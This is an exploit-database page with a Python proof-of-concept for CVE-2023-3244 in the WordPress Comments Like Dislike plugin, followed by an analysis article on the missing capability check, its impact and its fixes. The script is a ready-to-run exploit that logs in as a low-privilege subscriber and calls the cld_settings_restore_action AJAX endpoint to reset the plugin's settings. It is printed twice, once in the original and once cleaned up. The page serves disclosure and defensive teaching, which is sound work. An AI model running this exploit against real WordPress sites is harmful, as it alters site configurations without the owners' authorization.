comments-like-dislike < 1.2.0 - Authenticated (Subscriber+) Plugin Setting Reset

Exploit Author: Diaa Hanna Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-02-26
# Exploit Title: POC-CVE-2023-3244
# Date: 9/12/2023
# Exploit Author: Diaa Hanna
# Software Link: [download link if available]
# Version: <= 1.2.0 comments-like-dislike
# Tested on: 1.1.6 comments-like-dislike
# CVE : CVE-2023-3244

#References
#https://nvd.nist.gov/vuln/detail/CVE-2023-3244


#The Comments Like Dislike plugin for WordPress has been found to have a vulnerability that allows unauthorized modification of data. This vulnerability arises due to a missing capability check on the restore_settings function, which is called through an AJAX action. The vulnerability affects versions up to and including 1.2.0 of the plugin.
#This security flaw enables authenticated attackers with minimal permissions, such as subscribers, to reset the plugin's settings. It's important to note that this issue was only partially patched in version 1.2.0, as the nonce (a security measure) is still accessible to subscriber-level users.
#For more detailed information about this bug, you can refer to the National Vulnerability Database (NVD) website at [CVE-2023-3244](https://nvd.nist.gov/vuln/detail/CVE-2023-3244).

import requests 
import argparse
import sys
from colorama import Fore

parser = argparse.ArgumentParser(prog='POC-CVE-2023-3244',description='This is a proof of concept for the CVE-2023-3244 it is an access control vulnerability in the restore_settings function ')
parser.add_argument('-u','--username',help='username of a user on wordpress with low privileges',required=True)
parser.add_argument('-p',"--password",help='password of a user on wordpress with low privileges',required=True)
parser.add_argument('--url',help='the url of the vulnerable server (with http or https)',required=True)
parser.add_argument('--nossl',help='disable ssl verification',action='store_true',required=False,default=False)
args=parser.parse_args()

#check if the domain ends with a '/' if not then add it
url=args.url
if url[-1] != '/':
    url+='/'



wp_login = f'{url}wp-login.php'
wp_admin = f'{url}wp-admin/'
username = args.username 
password = args.password 


session=requests.Session()
#logging in
session.post(wp_login, headers={'Cookie':'wordpress_test_cookie=WP Cookie check'}, data={'log':username, 'pwd':password, 'wp-submit':'Log In', 
        'redirect_to':wp_admin, 'testcookie':'1'  },verify=not (args.nossl))
#if failed to login
if len(session.cookies.get_dict()) == 2:
    print(Fore.RED +"Error Logging In Check Your Username and Password And Try Again")
    sys.exit(1)

#making the ajax request to wp_ajax_cld_settings_restore_action this line will call the restore_settings function 
#the restore_settings function does not check the sufficient privileges of a logged-in user 
#even a subscriber can use this POC
response=session.get(f"{wp_admin}/admin-ajax.php?action=cld_settings_restore_action",verify=not (args.nossl))

if response.text == "Settings restored successfully.Redirecting...":
    print(Fore.GREEN +"exploited excuted successfully")
    print(Fore.YELLOW+ "settings of the comments-like-dislike plugin should be defaulted on the server")
    sys.exit(0)
else:
    print(Fore.RED + "some error occurred please read the source code of the poc it isn't that long anyway")
    sys.exit(1)


CVE-2023-3244: Exploiting Access Control Flaws in WordPress Comments Like Dislike Plugin

Security vulnerabilities in third-party plugins remain a critical threat to WordPress websites, especially when they undermine fundamental access control mechanisms. One such vulnerability, CVE-2023-3244, affects the Comments Like Dislike plugin, a widely used tool for enhancing user engagement on WordPress blogs. This flaw allows authenticated users with minimal privileges—such as subscribers—to reset critical plugin settings, potentially disrupting site functionality and compromising security.

Understanding the Vulnerability

The core issue lies in the restore_settings function, which is exposed via an AJAX action called cld_settings_restore_action. This function is designed to restore default plugin configurations, but it lacks a proper capability check—a security mechanism that ensures only users with sufficient permissions (e.g., administrators) can execute it.

According to the National Vulnerability Database (NVD), this vulnerability was present in versions up to and including 1.2.0 of the plugin. While version 1.2.0 introduced a partial fix by adding a nonce (a one-time token used to prevent replay attacks), the nonce itself was still accessible to low-privileged users, rendering the protection ineffective.

As a result, an attacker with only a subscriber account can exploit this flaw to reset settings—such as disabling like/dislike functionality, resetting moderation rules, or reverting custom configurations—without authorization.

Real-World Impact and Use Cases

Consider a scenario where a blog relies on the Comments Like Dislike plugin to foster community engagement. An attacker with a subscriber account could:

  • Disable the like/dislike feature, reducing user interaction.
  • Reset moderation settings to allow spam or malicious comments.
  • Revert custom branding or display preferences, affecting user experience.

This is not merely a nuisance—it can be a stepping stone for broader attacks. For example, resetting settings might disable security features, paving the way for subsequent exploits or data leaks.

Proof of Concept (PoC) Exploit Analysis

Below is a simplified Python script used to demonstrate the vulnerability. This script automates login and executes the exploit via AJAX:


import requests 
import argparse
import sys
from colorama import Fore

parser = argparse.ArgumentParser(prog='POC-CVE-2023-3244', description='Proof of concept for CVE-2023-3244')
parser.add_argument('-u', '--username', help='username of low-privilege user', required=True)
parser.add_argument('-p', '--password', help='password of low-privilege user', required=True)
parser.add_argument('--url', help='target WordPress site URL', required=True)
parser.add_argument('--nossl', help='disable SSL verification', action='store_true', default=False)

args = parser.parse_args()

# Ensure URL ends with '/'
url = args.url
if url[-1] != '/':
    url += '/'

wp_login = f'{url}wp-login.php'
wp_admin = f'{url}wp-admin/'

session = requests.Session()

# Login attempt
response = session.post(
    wp_login,
    headers={'Cookie': 'wordpress_test_cookie=WP Cookie check'},
    data={
        'log': args.username,
        'pwd': args.password,
        'wp-submit': 'Log In',
        'redirect_to': wp_admin,
        'testcookie': '1'
    },
    verify=not args.nossl
)

# Check login success
if len(session.cookies.get_dict()) == 2:
    print(Fore.RED + "Error: Login failed. Check credentials.")
    sys.exit(1)

# Trigger exploit via AJAX
exploit_url = f"{wp_admin}/admin-ajax.php?action=cld_settings_restore_action"
response = session.get(exploit_url, verify=not args.nossl)

if response.text == "Settings restored successfully.Redirecting...":
    print(Fore.GREEN + "Exploit successful: Settings reset.")
else:
    print(Fore.YELLOW + "Exploit failed: No response or unexpected behavior.")

Explanation: This script performs the following steps:

  • Authentication: It logs in using a low-privilege account (e.g., subscriber).
  • Session persistence: The requests.Session() object maintains cookies after login, allowing continued access.
  • Exploit execution: It sends a GET request to admin-ajax.php with the action cld_settings_restore_action.
  • Response validation: If the response contains the success message, the exploit is confirmed.

Although the code uses a GET request, it's important to note that the plugin may accept POST requests as well. The exploit's success hinges on the absence of capability checks, making it highly effective regardless of the HTTP method.

Security Best Practices and Mitigation

WordPress developers and administrators must adopt proactive measures to prevent such vulnerabilities:

Best Practice Description
Capability Checks Always verify user capabilities before executing sensitive functions. Use current_user_can('manage_options') or similar for admin-level actions.
Nonce Validation Ensure nonces are generated per user session and validated server-side. Nonces should not be accessible to low-privileged users.
Regular Updates Keep all plugins updated. Avoid using outdated or unmaintained plugins, especially those with known CVEs.
Plugin Audits Review plugin code for insecure AJAX handlers. Use tools like WPScan or Wordfence to detect vulnerabilities.

For developers, a corrected version of the restore_settings function should include:


if (!current_user_can('manage_options')) {
    wp_die('Unauthorized access.');
}

Additionally, the nonce should be generated dynamically and validated using wp_verify_nonce() with proper user context.

Conclusion

CVE-2023-3244 is a stark reminder that even minor flaws in access control can have significant consequences. The fact that a subscriber can reset plugin settings underscores the importance of robust security checks—even in seemingly benign functions. As WordPress ecosystems grow, so do the attack surfaces. Developers must prioritize security, and site administrators must vigilantly monitor and update their plugins.

Always treat plugins as potential attack vectors. Never assume that low-privilege users cannot cause harm. Implement layered security, validate every action, and keep your systems patched and monitored.